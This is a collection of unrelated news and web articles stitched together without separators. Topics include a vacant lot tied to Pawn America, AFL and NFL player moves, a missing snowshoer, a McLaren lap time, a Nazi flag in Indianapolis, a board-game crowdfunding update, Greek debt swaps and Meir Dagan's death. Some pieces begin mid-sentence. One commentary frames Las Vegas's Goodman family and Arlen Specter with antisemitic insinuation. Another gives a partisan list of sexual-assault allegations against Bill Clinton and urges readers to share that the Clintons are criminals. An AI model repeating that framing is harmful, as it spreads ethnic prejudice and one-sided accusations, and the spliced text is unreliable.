Smith soon abandoned the project, but Remes and his First & First development team saw an opportunity. The Minneapolis company purchased the vacant car dealership and moved in Pawn America, which branded the store “PA Exchange,” with more of a thrift-store feel than a traditional pawn shop.
“People were hopeful when First & First picked it instead of the guy from Max It Pawn,” Leach said. “Of course, the rest has been sitting there vacant.”
In a 2013 announcement from the Rixmann Cos., Pawn America’s parent company, officials said the PA Exchange concept would focus exclusively on retail and not offer loans, purchases or financial services in-store.
Nevertheless, the company brought in a payday lender, PayDay America, which offers check cashing and high-fee cash loans of up to $1,000. The lender nestled in next door to the retailer, with which it shares a lobby entrance.
In exchange, Remes agreed to buy out the Piggy Bank Checks Cashed, to the delight of the neighborhood district council, which backed his variance request. Check cashers and pawnshops are both viewed by the city as lenders and cannot ordinarily be situated next door to each other. The city made an exception.
“We supported that because it basically consolidated all of those things in one place, and (the Piggy Bank) was not available for check cashing,” Leach said.
Remes, like Smith before him, had also spoken of the strong likelihood of bringing in a series of smaller tenants, including Starbucks and Chipotle. No construction ever took place. Related Articles Minnesota restaurant owner charged with setting fire to business
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What deterred potential lease-holders? “Pawn America — their presence on the site,” said Remes on Wednesday. “The market response was to the negative connotation of Pawn America, and other businesses being next to a pawn store.”
The relationship between First & First and Pawn America has since soured, and Remes said he now plans legal action against the store chain for allegedly violating its lease. Leach said it’s clear the company had expected First & First to add to the strip mall and create free-standing structures, which never happened.
“They were expecting the whole lot to be built out, and that that would have brought additional traffic,” Leach said.
She’s not optimistic for the immediate future.
“I’m getting calls from neighbors saying ‘Is something going to move in?’ You know what? It’s going to sit vacant for a while,” she said. “Who wants to move in next to an ugly vacant lot? It needs a much denser development than even what was proposed. Less than half of the lot (is occupied).”Adam Schneider will be eligible for senior selection for the rest of the season
ST KILDA rookie Jack Sinclair has been rewarded for his impressive start to the season with a new two-year deal, but veteran Adam Schneider has won the race to be promoted for the rest of this season.
With the club able to elevate one rookie to the senior list regardless of any long-term injuries, the Saints promoted Schneider as their nominated rookie, but made sure 20-year-old Sinclair is locked away for the future by signing him until the end of the 2017 season.
Schneider, a veteran of 222 games, was given the nod after averaging 21.6 disposals in his nine games this year and providing important leadership to his younger teammates.
"Adam has been tremendously important for us this season," coach Alan Richardson told the club's website.
"His form has been consistent, and in many ways he acts as an on-field assistant coach for our young guys, directing traffic and using his years of experience out there. He has been invaluable for the development of our exciting young group."
Sinclair has made an immediate impact in his debut season, playing the first 10 games and kicking 11 goals to be ranked third at the club.
He was forced back to the rookie list after round 10 and will now only be eligible to play in the seniors if the Saints suffer a long-term injury.
"I'm thrilled to be given a two-year extension. There is a great vibe around the club – it is a very young group and it is an exciting time to be around," Sinclair told the club's website.
"The Saints are in my blood and have been part of my family for generations. There really is nowhere else I would want to be."
Chief operating officer Ameet Bains said Sinclair's new deal was just reward for his brilliant start to the year.
"Jack has shown an immediate ability to play consistently at AFL level, so we are delighted that he can be rewarded with a two-year contract extension," Bains said.
"The fact he will be properly elevated to the primary list at the end of the season is well-deserved for Jack and highly pleasing for the club."
Sinclair is the third Saint to re-sign in the past week after Dylan Roberton and Cameron Shenton also inked new deals.Tony Romo has chosen retirement.
Despite interest from at least one playoff-ready NFL team, the Dallas Cowboys legend and four-time Pro Bowler retired from playing on Tuesday and was officially released by the team.
Romo will work for CBS this season as an analyst alongside Jim Nantz on game broadcasts, the network confirmed Tuesday. He replaces Phil Simms as the lead game broadcast analyst for CBS.
"I'm really excited about the challenge ahead," Romo said in a conference call. "I'm excited. It's going to be a great challenge for me... I hope that I'm able to make the CBS family proud with their decision."
Romo's retirement after 14 NFL seasons was first reported by ESPN.
In releasing Romo, the Cowboys are relinquishing their rights to the quarterback by not placing him on the reserve/retired list.
"We wish Tony and his family nothing but the best," Cowboys owner Jerry Jones said in a statement. "As an organization, we did what he asked us to do in terms of his release, and we wanted to do what was ultimately in his best interest and in the best interest of his family.
"Tony has been a wonderful representative of the Cowboys organization for 14 years, and he left everything he had on the field," Jones continued. "He will leave us with many great memories and a legacy of being, truly, one of the greatest players in Cowboys history. We are thrilled for him and his family that he will be able to continue working as a professional in the game he so dearly loves."
Cowboys coach Jason Garrett echoed Jones' sentiments, complementing Romo for competing "to the end in everything that he does."
"That relentless spirit that Tony plays with is contagious," Garrett said in a statement. "He makes his teammates better. He makes his coaches better. He makes his team better. He has grown so much as a player and as a person over the course of his career and has made a significant impact on the lives of so many. I consider myself fortunate to be at the top of that list. It has been one of the great privileges of my life to work with Tony Romo, one of the greatest players in Dallas Cowboys history."
Romo's decision comes amid a tumultuous period in his career both emotionally and health-wise. Romo, 36, appeared in just five games over the past two seasons due to a twice-broken collarbone and broken back. In both cases, he still managed to claw his way onto the field for at least one appearance. Rapoport reported that injury concerns -- specifically the durability of his back -- were a factor in Romo's choice to step away.
This time, however, the Cowboys had rookie star Dak Prescott firmly entrenched in his old job. Prescott had this message on his Instagram Tuesday: "From a Fan Of Yours to Being Your Teammate: THANK YOU for The Advice On & Off the Field to Making Plays that I'll Never Forget!"
During a news conference in November, Romo essentially surrendered the gig that he had held on a regular basis since 2006, he foreshadowed a comeback season elsewhere. He talked about his desire to play football at a high level again.
"If you think for a second that I don't want to be out there, than you've probably never felt the ecstasy of competing and winning," Romo said. "That hasn't left me. In fact, it may burn more now than ever. It's not always easy to watch and I think anyone who has been in this position understands that."
That took a back seat to health concerns. The affable and well-spoken Romo, however, is an obvious choice as the next great player-analyst.
Unfortunately, it robs fans a chance to see his last ride even though NFL Network's Jane Slater reported Tuesday morning that Romo would consider coming back if the Cowboys ever really needed him. Romo was absolutely under-appreciated. A former undrafted free agent out of Eastern Illinois, he caught the eye of then Cowboys assistant head coach and fellow EIU Panther Sean Payton. For two seasons, Romo held kicks and backed up a carousel of high-upside projects like Drew Henson and established veterans like the 41-year-old Vinny Testaverde in 2004 and the 33-year-old Drew Bledsoe in 2005.
Hardened under Bill Parcells, Romo got his chance in 2006. Romo completed 66 percent of his passes for 270 yards, a touchdown and an interception in his first NFL start -- a 35-14 win over the Carolina Panthers. He finished that season by taking the 3-3 Cowboys under Bledsoe to the playoffs.
While the cynics will often mention the Cowboys' lack of ultimate success during the Romo era -- his teams were 2-4 in six playoff appearances between 2006 and 2014 -- they also fail to see the big picture. Like the low-drafted Tom Brady, Romo represented one of the NFL's great success stories. Plucked from Division II obscurity at a time when mid-level NCAA scouting was not a strength in most personnel departments, he worked his way through the system and up the depth chart. On the field, his combination of rambling playmaker and precision passer fit perfectly with a series of showtime offenses built by Jones. From the Terrell Owens and Terry Glenn era to the rise of Dez Bryant, Romo was one of the franchise's most important mainstays.
He was also one of the Cowboys' toughest players. During his career, Romo played through broken fingers and ribs, a broken back and a punctured lung. He rushed his recovery from broken clavicles and fingers, often finishing games with a significant limp or hunch.
Romo will finish his Cowboys career as the franchise leader in passing yards (34,183), touchdowns (248) and, most notably, winning drives. Romo's 30 game-winning drives is seven better than fellow Cowboys legend Roger Staubach and nine more than Troy Aikman.
The development followed a bungled trade attempt from Jones. Jones told all 32 teams that they could speak with, or work out the quarterback as they saw fit. Hoping to generate enough interest to receive a return on their investment, Jones never got that far and Romo made up his mind.
This was not the cleanest of endings for the star. Despite humbly accepting the rise of Prescott, Romo wanted to play. As Slater reported, that manifested itself in some minor spats over the last few weeks. Romo distanced himself from the pro-Prescott teammates and coaches and eagerly awaited a resolution. Slater mentioned all along, though, that broadcasting and retirement was weighing heavily on his mind.
Aftershock from this decision could be felt for weeks, especially for teams like the Houston Texans. Bill O'Brien's club was not interested in trading for Romo but was certainly enticed by the chance to pair the NFL's 29th all-time passer with a pair of dynamic young receivers in DeAndre Hopkins and Will Fuller. Romo noted Tuesday that the Texans led the list of teams that he was interested in potentially joining, but he felt the CBS job was too good to pass up.
The Broncos, always with one eye on the veteran quarterback market, could have been a fascinating fit for the freewheeling Romo, too.
Instead, we might now see Houston working the veteran free-agent market behind prospective starter Tom Savage. Perhaps the Texans will step up their efforts to unearth a quarterback in this year's draft.
None will immediately match the star power created by a Romo arrival. As yet another reminder that a golden age of quarterbacking is coming to an end, Romo follows Brett Favre, Kurt Warner and Peyton Manning out the door. He will now have the chance to cover the next great crop from the television booth.CRATER LAKE, Ore. (AP) - A snowshoer may have fallen more than 1,000 feet over the edge of Crater Lake, National Park officials said Wednesday.
The man was last seen April 28 and was reported missing two days later, officials said. They have not released his identity.
Rangers discovered snowshoe tracks leading from a trail onto an overhang called a "snow cornice" that had collapsed. Officials say snow cornices jut from the rim of the lake with no solid ground beneath. They form when snow is blown over sharp terrain and are common this time of year, but they can collapse without warning, according to park officials.
The cornices are obvious when seen from the side, but hikers walking toward one might think it's just an uphill walk, Park spokeswoman Marsha McCabe said. A person would be unlikely to survive a fall over Crater Lake's rim, she said.
Rangers have searched by air and ground and will investigate the lake's shore by boat when access is possible, probably not until June, McCabe said.
Officials do not suspect suicide or foul play in the man's disappearance.Let the ‘Ring wars resume. McLaren has revealed to TopGear.com that its P1 has lapped the Nürburgring Nordschleife in ‘under seven minutes’ in the hands of chief test driver Chris Goodwin.
You can witness the 903bhp hypercar’s assault on the Green Hell in this shiny (and Very Dramatic) official video, available first here on TopGear.com.
But we know what you’re asking: exactly how far under seven minutes did the P1 go? Well… we don’t know.
McLaren has only revealed that the P1 ‘achieved its one remaining performance target’ - a Nürburgring lap time starting with a ‘six’ - that necessitated an average speed ‘in excess of 111mph’ around the 13-mile track.
We also know that the P1 hit its 205mph top speed on the Dottinger Hohe straight, and that the run was achieved on the P1’s standard-fit road tyres. But McLaren won’t say by how many seconds its car broke the seven-minute barrier.
There may be several reasons for this. As Ford’s performance boss Jamal Hameedi pointed out last month, there’s no such thing as an official Nürburgring lap time - nor even a universally agreed start-finish point - so McLaren may simply be protecting itself against the vagaries of ‘Ring record measurement.
However, cynics might suggest it’s because the P1 failed to beat the 6m 57s lap time of its arch-rival, Porsche’s 918.
The truth, no doubt, shall out. And whatever the P1’s precise time, there’s no doubt a sub-seven minute lap is unbelievably fast. The Porsche 911 GT2 RS, for comparison, recorded a 7m 24s lap in 2010: the Ferrari Enzo went round in 7m 26s.
In the world of licence-plate-wearing production cars, only the 918 and a pair of only-just-road-legal Radicals have cracked seven minutes around the Nordschliefe.
And now the P1. Turn up your speakers, enjoy the video, and appreciate some seriously committed driving, especially that little hop through Foxhole around the 1m 20s mark. Erk. The precise composition of Goodwin’s man-satchels remains a McLaren secret, but we’re guessing a combination of race-grade carbon fibre and silicone carbide…A New York mom was charged with five counts of endangering the welfare of a child after she allegedly hired strippers to perform at her 16-year-old son’s birthday party, The Daily Freeman reported.
Judy H. Viger, 33, from Gansevoort, N.Y., which is north of Albany, paid for two ‘female adult entertainers’ to perform ‘intimate dances’ for birthday party attendees, which included five who were younger than 17, police told the paper.
Photos from the Nov. 3 party reportedly appeared online. At least one photo showed a woman clinging upside down to what was described as a seated teen, the report said. Police said several 'kids' at the party got lap dances, the report said.
The party appeared to be a large affair. The report said there were 80 adults and teens at the event, which was located at Spare Time Bowling Center. The floor-to-ceiling windows were reportedly covered with brown paper.
Spare Time issued a statement that said it is cooperating with the investigation and did not pay for the entertainment at the private party.
The dancers were from a company called Tops in Bottoms. The owner told FoxNews.com that the woman paid for a 'bikinigram' and insisted there was no nudity.
"I think you get a lot worse stuff on TV or at the beach," Nathan Rice, the owner, said. "There's no sense in ruining someone's reputation over this."
Although Rice was sympathetic to Viger, he said the mom should have notified the five underage kids' parents.
"There were a lot of adults there and no one thought it got too out of control," he said.
Viger's next court date is on March 7. She perviously told The Post-Star the dancers were not strippers and there to deliver the 'bikinigram' and sing happy birthday.
Click for more from The Daily FreemanCLOSE Keith Smith said the flag is about history, not race. Nate Chute/IndyStar
Indianapolis resident Keith Smith flew a Nazi flag outside his house, causing controversy on social media and in his neighborhood after a neighbor posted this photo. (Photo: Provided by Jim Otey)
For Keith Smith, flying the Nazi flag makes a point about how he's being slowly stripped of his freedom.
The 58-year-old Indianapolis man has flown the flag three times in front of his house before, joining the Confederate flag and the Gadsden flag that reads "Don't tread on me."
"Everything is being stripped from us, everything is being turned into an issue," Smith said. "I mostly flew it because I’m tired of seeing stuff across the U.S. Some want to cry about their hurt feelings, but this is a part of history being taken down."
The flag has been causing quite a stir on social media, and one of the original posts has been shared more than 600 times. But Smith doesn't care.
"People (are) going to say what they want and think what they want," he said. "There’s a lot of people who don’t like it, a lot of people who don’t care and a lot who agree with me."
It's not illegal to fly the flag in the U.S. The right to do so is protected under the First Amendment.
The flag is no longer up, but Smith wanted to make it clear that he took it down of his own free will. It's worth $500, he said, and was taken as a souvenir from World War II.
"I collect everything," Smith said. "When I get a reproduction, I might leave it up, but this is an original trophy flag from the war."
The Nazis, who came to power in Germany in January 1933, believed Germans were racially superior and that the Jews were an alien threat to German society, according to the U.S. Holocaust Museum's website. The Nazis killed six million Jews and others they believe were inferior from 1933 to 1945, when World War II ended.
Smith said the Nazi flag is about history, not race. He bought the flag from an antique dealer, and he's been collecting neo-Nazi memorabilia since he was 14. He has badges, military pins and other commodities.
"It's a part of history," he said. "Someone sacrificed their life fighting and brought the flag back as a trophy."
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But many don't see the flag that way. Jim Otey, a 51-year-old who lives in Smith's neighborhood, said the flag represents an overall symbol of hate for him. He drives past Smith's house daily and always saw the Confederate and Gadsden flag, and just shook his head. But the Nazi flag went too far.
"It's the ultimate symbol of all the evil and bad things that are in this country," Otey said. "It's frightening to see that in your neighborhood."
He made the original post on Facebook about the flag, and said he was astounded to see how far it spread.
"It makes me feel good that everyone is getting on board here," Otey said. "That's not going to fly here."
Follow IndyStar reporter Kara Berg on Twitter: @karaberg95
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Read or Share this story: http://indy.st/2mAlrZyModular Board Unlocked!
This afternoon we passed $90,000 in pledges, meaning we've unlocked our biggest stretch goal yet – the Modular Board! Join us as we give you an in-depth look at our new board and how it makes the Chaosmos experience even better!
What is the modular board?
Our modular board is comprised of ten extra-large 5-inch hexes, each featuring one of the ten planets of Chaosmos and pathways around that planet. These ten hexes can be arranged in a standard layout, or in any configuration you want. The gameplay is the same as before, but different arrangements of planets means no two games are the same!
Why is a modular board better?
Many people have asked why we're upgrading to the modular board in the first place. This is not something we jumped into, but rather something we've been planning for a long time. The modular board improves Chaosmos in a number of ways, allowing you to:
Place the planets randomly to create a new universe each game, or customize the layout of your board by building your own configuration
Use hazard tokens and wormhole tiles to block off paths or add new ones
Take turns building the game board one hex at a time, adding to the opening strategy of the game
Add or remove planets to play with more or fewer players, create a tighter or more expansive game, and accommodate future expansions
What if I like the original board layout?
We love the elegance of our original square board, so when we designed the modular board, we wanted to capture the essence of what makes the original board great. We came up with a standard modular board layout that matches the original board layout perfectly. By setting up your game to follow the image below, each planet is connected to the same four planets as in the original board!
For those who prefer the look of the original board, we'll also be opening a storefront on The Game Crafter with our original board, which you'll be able to purchase for about $11 plus shipping. We're also offering our GripMat Add-Ons, which you can order in the original board version.
What about the Chaos Clock, Cosmic Pool, and Void?
We've been working to add these additional features to the modular board in a way that's both functional and visually appealing. We're really excited about the final result. Check it out!
The tiles we created for the Void, Cosmic Pool, and Chaos Clock are similar shapes to the modular board hexes, so it will be easy for you to arrange the planets and other pieces however you like. Many people have been asking if they can put the Chaos Clock in the center, and that's something we wanted to be able to do as well. Now you can!
The Modularity Doesn't End Here!
Now that we've unlocked the modular board, the possibilities to expand Chaosmos are unlimited. New aliens with their own home planets, additional hexes with special abilities, you name it. We've already been working on some ideas to add to the board, so keep an eye out for more on that soon!
Thanks for all your support, and let's hit that $100,000 mark!
– The Mirror Box Games TeamIf you are wondering why it is okay for Specter, Goodman, and his wife to be so chummy with Jewish murderers and mob bosses, don’t expect the article to explain, because it doesn’t. But it does mention that Mrs. Goodman has been deeply involved in the Las Vegas Jewish community for over 50 years and would like to “make aliyah” if it weren’t for the fact her children live in Nevada. And most of all, her husband, Meyer Lansky’s lawyer, “is really a very good Jew and very religious and very loyal to it.” And that’s want really matters, isn’t it.
What is remarkable is that the article below reveals that the Goodmans moved to Las Vegas so that Oscar could work as the lawyer for Murder Incorporated’s Meyer Lansky, the most notorious Jewish mobster of the Twentieth Century. Moreover, it mentions that he was introduced to the gang by none other than the late Jewish Senator Arlen Specter, who at the time was a Philadelphia prosecutor and asked Goodman to take two mobsters accused of murder out to dinner. The article makes no effort to justify or rationalize this bizarre request. Maybe the Jewish author just assumes that the Jewish readers will understand that Goodman was being a mensch.
Commentary by Dr. Patrick Slattery — You just cannot make this stuff up. This article from the Jewish Telegraphic Agency is a fluff piece about Oscar Goodman and his wife Carolyn. Oscar Goodman was Las Vegas mayor from 1999-2011, and when he bumped into the three-term limit he got his wife elected. She is now in her second term.
LAS VEGAS (JTA) — You haven’t heard a lot about Carolyn Goodman, which may be just how she wants it.
Goodman, 76, was elected mayor of this city in 2011, succeeding her husband, Oscar Goodman, who had served three terms and was barred by term limits from running for a fourth. She was reelected last year.
Whereas Oscar is “flamboyant,” as Goodman put it in an interview in her office overlooking the Strip, she is more self-effacing. She is prone to be gracious in victory, once praising her opponent following a tough municipal election as having “good intentions” for Las Vegas. Oscar, a former mob lawyer who played a version of himself in “Goodfellas,” had once called another challenger a “piece of crap.”
She’s also disarmingly candid, confessing that she was “born a brunette” and recounting with pride the adoption of her four children, whose photos surround her in her office.
“The second one’s an attorney, very much like his father, very aggressive,” Goodman said.
On the eve of the presidential caucuses in Nevada, Goodman shared her thoughts on the growth of the city’s Jewish community, the November election and how her husband would love to give Republican front-runner Donald Trump a run for his money.
Her seventh-story office, in a gleaming building towering over neighboring bail bondsmen shops, is a tribute to Oscar. There’s a huge pencil drawing in the foyer depicting moments in his mayoralty, with the centerpiece a portrait of Oscar and Carolyn Goodman smooching.
“Fifty-four years come June,” she said of her marriage. “It should have been 55, but my parents really didn’t like him.”
Did they come around?
“Yes, of course, one always comes around to Oscar,” Goodman said.
They met when she was at Bryn Mawr and he was at Haverford, when the suburban Philadelphia colleges were both strictly single-sex. He went on to study law at the University of Pennsylvania (as did two of their children) and was hired while still studying for the bar by then Philadelphia Assistant District Attorney Arlen Specter – later a U.S. senator – for a dollar an hour.
That’s how they came to Las Vegas in 1964.
“There was a wealthy Jewish widow by the name of Lulubell Rossman, who was murdered and the money that she kept under her mattress was brought out here to Las Vegas,” Goodman said.
The alleged killers were apprehended and returned to Philadelphia by two sheriffs. Specter, she recalled, told Oscar to take them out to dinner.
“At 2 in the morning, he woke me up and he said, ‘How would you like to move to the land of milk and honey?’” Goodman related. “And I said, ‘For heaven’s sake, we’re just newlyweds, I don’t want to move to Israel yet.’” (Later she said if it weren’t for her family, who all live in Las Vegas, and her job, she would consider aliyah.)
“So I said to him, ‘Whatever you want to do, let’s go look.’” They visited in May 1964 and moved in August that year.
Goodman was involved in the local Jewish federation from the get-go, heading the women’s divisions for several years while her husband made a name for himself defending the gangster Meyer Lansky and others with sobriquets like Fat Herbie, Lefty and Tony the Ant.
“When we came here in ’64, there was only one [Reform] temple and there was an Orthodox temple operating out of a little house on Maryland Parkway,” Goodman said. |
ick suffered a bruised and torn lip, which she said she suffered when Clinton bit her during the rape;
* From 1978-1980, during Clinton’s first term as governor of Arkansas, state troopers assigned to protect the governor were aware of at least seven complaints from women who said Clinton forced, or attempted to force, himself on them sexually. One retired state trooper said in an interview that the common joke among those assigned to protect Clinton was “who’s next?” One former state trooper said other troopers would often escort women to the governor’s hotel room after political events, often more than one an evening;
* Carolyn Moffet, a legal secretary in Little Rock in 1979, said she met then-governor Clinton at a political fundraiser and shortly thereafter received an invitation to meet the governor in his hotel room. “I was escorted there by a state trooper. When I went in, he was sitting on a couch, wearing only an undershirt. He pointed at his penis and told me to suck it. I told him I didn’t even do that for my boyfriend and he got mad, grabbed my head and shoved it into his lap. I pulled away from him and ran out of the room.”
* Elizabeth Ward, the Miss Arkansas who won the Miss America crown in 1982, told friends she was forced by Clinton to have sex with him shortly after she won her state crown. Last year, Ward, who is now married with the last name of Gracen (from her first marriage), told an interviewer she did have sex with Clinton but said it was consensual. Close friends of Ward, however, say she still maintains privately that Clinton forced himself on her.
* Paula Corbin, an Arkansas state worker, filed a sexual harassment case against Clinton after an encounter in a Little Rock hotel room where the then-governor exposed himself and demanded oral sex. Clinton settled the case with Jones recently with an $850,000 cash payment.
* Sandra Allen James, a former Washington, DC, political fundraiser says Presidential candidate-to-be Clinton invited her to his hotel room during a political trip to the nation’s capital in 1991, pinned her against the wall and stuck his hand up her dress. She says she screamed loud enough for the Arkansas State Trooper stationed outside the hotel suite to bang on the door and ask if everything was all right, at which point Clinton released her and she fled the room. When she reported the incident to her boss, he advised her to keep her mouth shut if she wanted to keep working. Miss James has since married and left Washington. Reached at her home last week, the former Miss James said she later learned that other women suffered the same fate at Clinton’s hands when he was in Washington during his Presidential run.
* Christy Zercher, a flight attendant on Clinton’s leased campaign plane in 1992, says Presidential candidate Clinton exposed himself to her, grabbed her breasts and made explicit remarks about oral sex. A video shot on board the plane by ABC News shows an obviously inebriated Clinton with his hand between another young flight attendant’s legs. Zercher said later in an interview that White House attorney Bruce Lindsey tried to pressure her into not going public about the assault.
* Kathleen Willey, a White House volunteer, reported that Clinton grabbed her, fondled her breast and pressed her hand against his genitals during an Oval Office meeting in November, 1993. Willey, who told her story in a 60 Minutes interview, became a target of a White House-directed smear campaign after she went public.
Read this Next on ThePoliticalInsider.com Ex-Bernie Spokesman Calls Team Hillary ‘Total Ingrates’
Please share this important list with friends on Facebook and Twitter. We need to spread the word that the Clintons are criminals and they do not belong in the White House!Dinosaurs? Mermaids? The man on the moon?
New Miami Dolphins defensive end William Hayes has interesting theories on all of these topics.
Miami acquired the veteran defensive end in a trade this week with the Los Angeles Rams. The Dolphins sent Los Angeles a sixth-round draft pick in exchange for Hayes and a seventh-round pick.
In his first conference call with Miami-area media, Hayes described himself as a run-stuffing defensive end who will play a winning role on defense. But it was Hayes’ theories on several non-football topics that were most interesting.
For starters, Hayes does not believe dinosaurs existed despite fossil discoveries all over the world.
“This dinosaur thing I just can’t roll with,” the 31-year-old Hayes explained. “I go to the dinosaur museums and they tell me, ‘Oh, you see the fossils.’ Then, you might see one bone that’s the actual fossil they dug up and everything else is just pieces they put together around the fossil and created this T-rex.
“I went to the dinosaur museum and they told me most of the fossils on one dinosaur, everything was completely fake. It was just made up fossils and just a piece of a leg. But they create this big, massive creature. It just don’t make sense to me.”
Then there are mermaids: Fictional to most, but Hayes first explained on HBO’s “Hard Knocks” last summer that he isn’t so sure.
Hayes elaborated Friday on his interesting take.
“I don’t necessarily believe in mermaids, but I believe in the theory that there could be mermaids,” Hayes said. “The world is 80 percent water or something ridiculous like that. We only discovered just a small part of that. Every single day we pull out different species out of the ocean and we find different forms of life in the ocean.
“So my whole thing is, who is to say they can’t be an Ariel floating down in the water somewhere? At the end of the day, there’s certain areas of the ocean we can’t see.”
Hayes later cracked open another can of worms, if briefly: “I don’t think men ever went to the moon.... I got plenty of theories. We can go all day.”
The Dolphins got a solid player in this trade who will add to their defensive-end rotation. It also appears that, in Hayes, they have one who will be fun to talk to next season.SACRAMENTO, California (Reuters) - A top California lawmaker on Tuesday is expected to unveil a proposal to fund free public preschool for all children in the most populous U.S. state.
California Senate president pro tempore Darrell Steinberg (D-Sacramento) celebrates as his bill SB743 passes, which modifies the California Environmental Quality Act, at the State Capitol in Sacramento, California, September 12, 2013. REUTERS/Max Whittaker
The plan by Senate Pro Tem Darrell Steinberg, a Democrat, to offer a pre-kindergarten program to four-year-olds in the western state comes as he and other Democratic legislators try to push California Governor Jerry Brown to increase spending on social services, including education, in next year’s budget.
Steinberg and senate Democrats who support his plan expect to introduce legislation establishing the pre-kindergarten program this week, said the senator’s spokesman, Mark Hedlund.
The proposal is expected to involve expanding an existing program aimed at children who turn five years old too late in the year to attend regular kindergarten. Details such as the cost of the plan would be released on Tuesday, Hedlund said.
Brown, who previously governed the state from 1975 to 1983, has toed a centrist line since taking the helm again in 2011. He has repeatedly cautioned progressive legislators not to overspend now that the state has its first real surplus in years.
His proposed budget for 2014-2015, which would go into effect in July, is expected to reflect massive changes to the way California funds education. Under a new program pushed through by Brown last year, extra funds are funneled to schools with large populations of children who are poor or do not speak English.
A spokesman for Brown on Monday said the governor, who is set to release his budget on Friday, has no comment on the preschool plan.
Steinberg’s proposal was welcomed by education advocate Ted Lempert, who said studies have repeatedly shown that children who attend high-quality pre-school programs do better than those who do not.
“Higher income families are already making sure their children have access to high quality pre-kindergarten,” said Lempert, president of the Oakland-based group Children Now.
“It’s imperative that all kids have access to that - so you don’t have an achievement gap before kids are even entering kindergarten.”
Even though the majority of states offer some sort of preschool program for low-income families, few states offer so-called “universal preschool” for all children. Parents whose incomes are too high to qualify for state-run programs must pay out-of-pocket for private ones or find other childcare options.
Under a plan proposed last year by President Barack Obama but stalled in Congress, the federal government would spend $75 billion over 10 years to widen access to state preschool programs for lower-income families.
The plan also sought to encourage states to broaden access so middle-class families could opt in.Hillary Clinton: “I Take Responsibility” For What Happened In Benghazi
Falling on the sword?
Doug Mataconis · · 111 comments
A frank, and I must say surprising, statement from the U.S. Secretary Of State:
Secretary of State Hillary Clinton said the bucks stops with her when it comes to who is blame for a deadly assault on the U.S. diplomatic mission in Benghazi. “I take responsibility” for what happened on September 11, Clinton said in an interview with CNN’s Elise Labott soon after arriving in Lima, Peru for a visit. The interview, one of a series given to U.S. television networks Monday night, were the first she has given about the attack on the U.S. consulate in Benghazi. Clinton insisted President Barack Obama and Vice President Joe Biden are not involved in security decisions, Clinton said. “I want to avoid some kind of political gotcha,” she added, noting that it is close to the election. The attack killed Chris Stevens, the U.S. ambassador to Libya, and three other Americans at the consulate. (…) Clinton also sought to downplay the criticism that administration officials continued to say the attack was a spontaneous product of a protest over an anti-Muslim film, a theory that has since been discarded. In the wake of an attack, there is always “confusion,” Clinton said. But the information has since changed, Clinton said in the interview. The secretary of state also described the desperate scene in the State Department during the hours of the attack on the night of September 10. It was an “intense, long ordeal” as staff tried to find out what had happened. Clinton said her mission now is to make sure such an attack will never happen again – but also that diplomacy, even in dangerous areas like Benghazi, is not stopped. “We can’t not engage,” she said. “We cannot retreat.”
I’ll update this post as the story develops, but this is a rather interesting political development. Clinton taking responsibility for the security failures in Benghazi arguably clears the President and the White House in the controversy that has developed surrounding the reaction of the Administration to the attack. Although, of course, the President is always ultimately responsible for what his Administration does regardless of who makes the decision. It’s interest to the extent that Secretary Clinton has essentially agreed to take the sword for whatever the fallout from the Benghazi may end up being. She may not care about that so much given that she’s already said that she does not intend to stay at Foggy Bottom if there is a second Obama term, of course, but it still strikes me as a somewhat extraordinary event to see a Secretary of State take the fire so publicly for what could be a serious political problem for the President, especially considering that the President in question is a former political rival. Finally, perhaps this indicates that Secretary Clinton really means what she said when she said so many times over the past year and a half or so that she had no intention of ever running for office ever again.
Update: The interview itself has not been posted yet, but here’s Erin Burnett talking to the CNN reporter who interviewed Secretary Clinton:
Update #2: Here’s the interview itself:The New York Times has now reported on a story we first broke over a week ago: the banks that helped Greece create debt-concealing swaps also took out swap contracts that will pay off if Greece defaults on its debt.
Here's how Eric Dash and Nelson Schwartz write it up:
Bets by some of the same banks that helped Greece shroud its mounting debts may actually now be pushing the nation closer to the brink of financial ruin.
Echoing the kind of trades that nearly toppled the American International Group, the increasingly popular insurance against the risk of a Greek default is making it harder for Athens to raise the money it needs to pay its bills, according to traders and money managers.
These contracts, known as credit-default swaps, effectively let banks and hedge funds wager on the financial equivalent of a four-alarm fire: a default by a company or, in the case of Greece, an entire country. If Greece reneges on its debts, traders who own these swaps stand to profit.
Unfortunately, there's a bit of perfectly predictable confusion in the article.
"It's like buying fire insurance on your neighbor's house — you create an incentive to burn down the house," Philip Gisdakis, head of credit strategy at UniCredit in Munich, tells the NYT.
But it's not really anything like that at all, unless the banks in question are net short Greece. And as far as we can tell, no Wall Street bank is net short Greek debt by any material amount. Instead, many have attempted to hedge their exposures to a sovereign default. So some, like Goldman Sachs, now appear to be "flat" on Greek exposure, standing to neither gain nor lose a large amount regardless of what happens.
The Europeans are certainly not short, according to credit traders familiar with the various positions of major market participants. In fact, most are not even flat. They have massive long exposures that they are desperately attempting to hedge but have been hesitant to sell down their positions for fear of creating a panic sell-off.
"These banks aren't buying insurance on someone else's house, they're buying insurance on their own house," Felix Salmon points out.
According to the New York Times, French banks hold $75.4 billion worth of Greek debt, Swiss banks have $64 billion of exposure, and German banks' exposure is $43.2 billion.Of course they are trying to hedge this risk.JERUSALEM (Reuters) - Mossad director Meir Dagan, who after a long career spearheading shadow wars against Israel’s enemies became a vociferous critic of Prime Minister Benjamin Netanyahu’s sabre-rattling on Iran, died of cancer on Thursday, aged 71.
Meir Dagan, head of Israel's spy agency Mossad, attends a Foreign Affairs and Defence committee meeting at the Israeli parliament in Jerusalem in this December 18, 2006 file photo. REUTERS/Yonathan Weitzman/Files
A pugnacious retired army general, Dagan took over the Mossad in 2002, when a Palestinian revolt was raging, international Islamist militancy was on the rise and world powers learned of Iran’s secret uranium enrichment projects.
His eight-year tenure saw a series of aggressive covert actions that were widely attributed to Israel. Among them was a 2007 air strike that destroyed a suspected Syrian atomic reactor and assassinations and cyber-sabotage targeting Tehran’s nuclear scientists and technologies.
But weeks before he stepped down, Dagan suspended convention by summoning Israeli reporters to Mossad headquarters, where he disputed Netanyahu’s assessment of the imminence of an Iranian threat and declared readiness to launch a pre-emptive war to foil it.
“Israel should not hasten to attack Iran, doing so only when the sword is upon its neck,” Dagan said in the briefing. Enraged Netanyahu aides quickly dismissed his statement as pique after the prime minister declined to retain him as Mossad chief.
In a tribute to Dagan published by his office on Wednesday, Netanyahu made no mention of their disputes. “Meir was a bold warrior and commander determined to ensure the people of Israel will never again be powerless or defenseless,” it said.
Asked by Army Radio on Wednesday whether Dagan had effectively scotched an Israeli attack on Iran, Netanyahu’s defense minister at the time, Ehud Barak, said: “Could well be.”
